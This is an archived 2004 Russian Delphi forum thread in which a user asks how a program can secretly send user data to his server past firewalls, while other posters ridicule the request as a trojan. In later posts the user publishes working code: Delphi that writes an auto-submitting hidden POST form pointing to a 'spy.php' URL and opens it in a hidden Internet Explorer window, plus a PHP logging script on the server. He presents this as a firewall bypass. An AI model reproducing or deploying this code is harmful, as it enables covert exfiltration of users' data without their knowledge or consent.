Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Потрепаться";
Текущий архив: 2004.08.15;
Скачать: [xml.tar.bz2];

Вниз

IE, POST запрос на чистом API   Найти похожие ветки 

 
Pr0GrAmmer32WinAPI   (2004-07-23 11:34) [0]

Уважаемые Мастера, подскажите, как можно програмно отправить данные на сайт, через IE ?
- необходимо отправить данные в количестве 10-15 кб - POST запросом ...
Я пробовал GET запросом :
ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?infa_v_base64_kodirovke","",SW_HIDE);
работает идеально, но не позволяет отправить много данных...
Главное требование  - реализация на чистом API, без VCL компонентов.
- такая задача у меня возникла всвязи с тем, что программе необходимо время от времени _скрыто_ отправлять данные (регистрационная информация, статистика использования программы, число запусков программы и другое)
стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((

P.S. это вполне "легальная" программа, НЕ тр0ян.


 
Reindeer Moss Eater ©   (2004-07-23 11:47) [1]

необходимо время от времени _скрыто_ отправлять данные

И чем же метод POST может тебе в этом помочь?


 
Reindeer Moss Eater ©   (2004-07-23 11:50) [2]

стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((

Смеяться после слова "лопата", программист "чисто на API"?


 
Anatoly Podgoretsky ©   (2004-07-23 11:56) [3]

Это и есть троян, троянские функции состоят в шпионаже


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:09) [4]

прога размером 15 кб - чистый апи, НЕ троян


 
Reindeer Moss Eater ©   (2004-07-23 12:11) [5]

Поздравляем.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:18) [6]

и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену Sys DCU, поэтому добился такого малого размера проги ...
- про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать данные более 1 кб, а пост - может до 2 Мб и более ...
Есть идея создать временный HTML - файл типа

<form method="POST" action="http://mysite.com/spy.php"
name="explForm">
<input type=hidden name=q
value="moay infa v base64">
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 100);
</script>
и запустить его
ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
после чего удалить ..  но имхо - грязный метод- нужно как-нить в памяти ...
- может кто делал подобные вещи ???
/только не обвиняйте что это троян - это не троян, это спец прога .../


 
Reindeer Moss Eater ©   (2004-07-23 12:20) [7]

- может кто делал подобные вещи ???

Неа. Простым смертным не спецпрограммерам такое не под силу.
Ты - пионэр.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:29) [8]

Reindeer Moss Eater ©   (23.07.04 12:20) [7]
не, Вы please, так не шутите ...
- у меня есть исходники такой функции на Си и Ассамблере, НО
к сожалению, я их синтаксис не могу (пока) понять и "перекинуть" на делфя ... :(((
- может у кого есть исходник такой функции на Delphi ?
(там описывается структура с "вариантами" и как-то создаётся обьект ...)


 
Reindeer Moss Eater ©   (2004-07-23 12:31) [9]

Только у избранных есть.
У нас нету.
Истинно говорю тебе - у избранных токмо.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:36) [10]

Reindeer Moss Eater ©   (23.07.04 12:31) [9]
выложить их сюда ? (исходники этих функций)


 
Reindeer Moss Eater ©   (2004-07-23 12:37) [11]

А я не ослепну, увидев их?
Уж лучше не надо.


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:40) [12]

Или, у кого-нить есть какие-либо другие рабочие способы отправки данных прогой ?
(terminate процесса фаерволла не предлагать ..)
может MAPI  попробывать ?, но он может не быть настроен у "клиента"  ;(


 
Reindeer Moss Eater ©   (2004-07-23 12:42) [13]

Попробуйте магги


 
Pr0GrAmmer32WinAPI   (2004-07-23 12:45) [14]

Reindeer Moss Eater ©   (23.07.04 12:42) [13]
что значит магги  ?
напишите нужную функцию так, как она правильно называется .. :))
p.s. мне нужна 97% гарантия её работоспособности !


 
Reindeer Moss Eater ©   (2004-07-23 13:05) [15]

Боюсь что я не смогу написать функцию так, как она правильно называется.
А 97% гарантию её работоспособности могу выслать наложенным платежом.


 
Esu ©   (2004-07-23 13:06) [16]

ClientSocket называется..


 
Esu ©   (2004-07-23 13:07) [17]

правда это не функция...


 
Reindeer Moss Eater ©   (2004-07-23 13:07) [18]

Это не функция и у нее не 97% гарантия.


 
Pr0GrAmmer32WinAPI_21_eXe   (2004-07-23 13:15) [19]

ClientSocket не подойдёт в принципе из-за фаерволлов :(
- что-нить ещё есть ? (через IE,MAPI,Opera или ещё как ...  ?)
главное- незаметно для пользователя !!!

p.s. кто зарегил ник Pr0GrAmmer32WinAPI  ???
шутим ?


 
Reindeer Moss Eater ©   (2004-07-23 13:15) [20]

Вот интересно.
Разве мало на форуме таких же, но "натуралов"?
Обязательно ли подделки плодить?


 
Гы   (2004-07-23 13:41) [21]

:)


 
ууу   (2004-07-23 17:04) [22]

qwe


 
Burmistroff   (2004-07-23 17:16) [23]

Это тот случай, когда желание повторного использование кода переходит за границы разумного ;)
Зачем IE? Берется TClientSocket - и впреред ;)


 
Pr0GrAmmer32WinAPI_71_eXe   (2004-07-23 21:41) [24]

Burmistroff   (23.07.04 17:16) [23]
а как тогда фаерволл _незаметно_ обойти ???
у меня уже написан вариант с сокетами ... (на чистом апи)
- мне нужно используя IE, как будто он на сайт лезет ...
мой исходник с сокетами, надо переделать под ие:

........
procedure sender(str:string);
      var
         i1:integer;
      begin
        for i1:=1 to Length(str) do
        if send(s, str[i1] , 1, 0) = SOCKET_ERROR then  exit;
      end;
.............
begin
 if WSAStartUp(257, WSAData) <> 0 then  Exit;
 s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
 if s = INVALID_SOCKET then Exit;
...........

..........
   if (connect(s, addr,sizeof(addr))) >0 then  exit;
  sender("данные ......."#13#10);
CloseSocket(s);


 
Pr0GrAmmer32WinAPI_31_eXe   (2004-07-25 00:42) [25]

ну, что никто не знает ?


 
KosilkA ©   (2004-07-25 05:42) [26]


> Pr0GrAmmer32WinAPI   (23.07.04 12:18) [6]
> и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену
> Sys DCU, поэтому добился такого малого размера проги ...
> - про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать
> данные более 1 кб, а пост - может до 2 Мб и более ...
> Есть идея создать временный HTML - файл типа
>
> <form method="POST" action="http://mysite.com/spy.php"
> name="explForm">
> <input type=hidden name=q
> value="moay infa v base64">

> </form>
> <script language="Javascript">
> setTimeout("explForm.submit()", 100);
> </script>
> и запустить его
> ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
> после чего удалить ..  но имхо - грязный метод- нужно как-нить
> в памяти ...
> - может кто делал подобные вещи ???
> /только не обвиняйте что это троян - это не троян, это спец
> прога .../


ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?q=moay infa v base64","",SW_HIDE);
это спасет отца руской демоератии ?=)


 
KosilkA ©   (2004-07-25 05:45) [27]

хотя тормможу... сорри


 
Polevi ©   (2004-07-25 10:29) [28]

давно так не смеялся


 
Pr0GrAmmer32WinAPI_17_eXe   (2004-07-26 00:11) [29]

KosilkA ©   (25.07.04 05:45) [27]
нет, так мало данных передаётся ..
я сделал так:

f74:="<html><head><title>Test</title></head>"+#13#10+
"<body text="#000000" bgcolor="#ffffff" onload="explForm.submit()">"+#13#10+
"<form method="POST" action=""+url+"""+#13#10+
"name="explForm">"+#13#10+
"<input type=hidden name=c "+#13#10+
"value=""+e+""  > "+#13#10+
"<input type=hidden name=a "+#13#10+
"value=""+str2str(q)+""  > "+#13#10+
"</form> "+#13#10+
"</body> "+#13#10+
"</html>";
lll:=TempDir+"qwe"+int2str(Random(750))+".html";

Writeln(f4,f74);

sleep(7);  h1:=GetForegroundWindow;
if  debug then
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_RESTORE)
else
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_HIDE);
sleep(70);SetForegroundWindow(h1);

работает отлично, главное - не забыть удалить временный файл :))

а на серваке скрипт:

<html> <HEAD> <TITLE> Data</TITLE>
</HEAD>
<body>
<script language="JavaScript">
window.status="_ret_ok_1";
</script>
</body></html>

<?php
error_reporting(0);
$msg=$_POST["c"];
$a=$_POST["a"];
$ip=getenv("REMOTE_ADDR");
$ip2=getenv("HTTP_X_FORWARDED_FOR");
$agent=getenv("HTTP_USER_AGENT");
$f = fopen("./log/$ip"."_".time().".txt", "a" );
fwrite($f,date( "H:i:s d.m.y " ));
fwrite($f,$ip);
if (!empty($ip2)) fwrite($f,""IP(X) ".$ip2."" ");
fwrite($f," $agent | $a\n");
fwrite($f,$msg);
fclose( $f);

?>


Всё работает, если кто будет тестить - сообщите, сколько у кого времени занимает в среднем отправка  12-17 кб инфы


 
Pr0GrAmmer32WinAPI_17_eXe   (2004-07-26 00:13) [30]

- imxo самый "красивый" обход фаерволлов :)))


 
Tet-atet   (2004-07-27 22:20) [31]

testil - rabotaet



Страницы: 1 вся ветка

Форум: "Потрепаться";
Текущий архив: 2004.08.15;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.52 MB
Время: 0.025 c
3-1090215004
Dub
2004-07-19 09:30
2004.08.15
Типы полей в DBase


14-1091151858
Думкин
2004-07-30 05:44
2004.08.15
С днем рождения! 30 июля


3-1090219511
brejnev
2004-07-19 10:45
2004.08.15
Считать данные из TQuery


14-1091022117
Mell
2004-07-28 17:41
2004.08.15
обмен строками


1-1091012080
Ш-К
2004-07-28 14:54
2004.08.15
Табуляция между формами





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский